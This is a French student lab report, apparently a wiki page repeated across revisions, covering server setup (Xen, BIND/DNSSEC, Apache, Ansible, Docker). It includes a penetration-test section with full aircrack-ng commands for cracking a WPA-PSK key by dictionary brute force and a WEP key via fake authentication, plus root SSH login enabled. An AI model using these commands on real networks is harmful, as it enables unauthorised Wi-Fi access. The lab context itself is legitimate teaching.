server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Sur la machine secondaire:
- on crée notre index.html (basique)
- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====
====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-16T13:35:21Z

Zbriois : /* DNSSEC */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===

Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Sur la machine secondaire:
- on crée notre index.html (basique)
- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====
====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-11T10:32:12Z

Zbriois : /* Paramétrage des rôles */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===

Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options :
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
on signe les enregistrements de la zone en executant la commandde suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Sur la machine secondaire:
- on crée notre index.html (basique)
- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====
====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
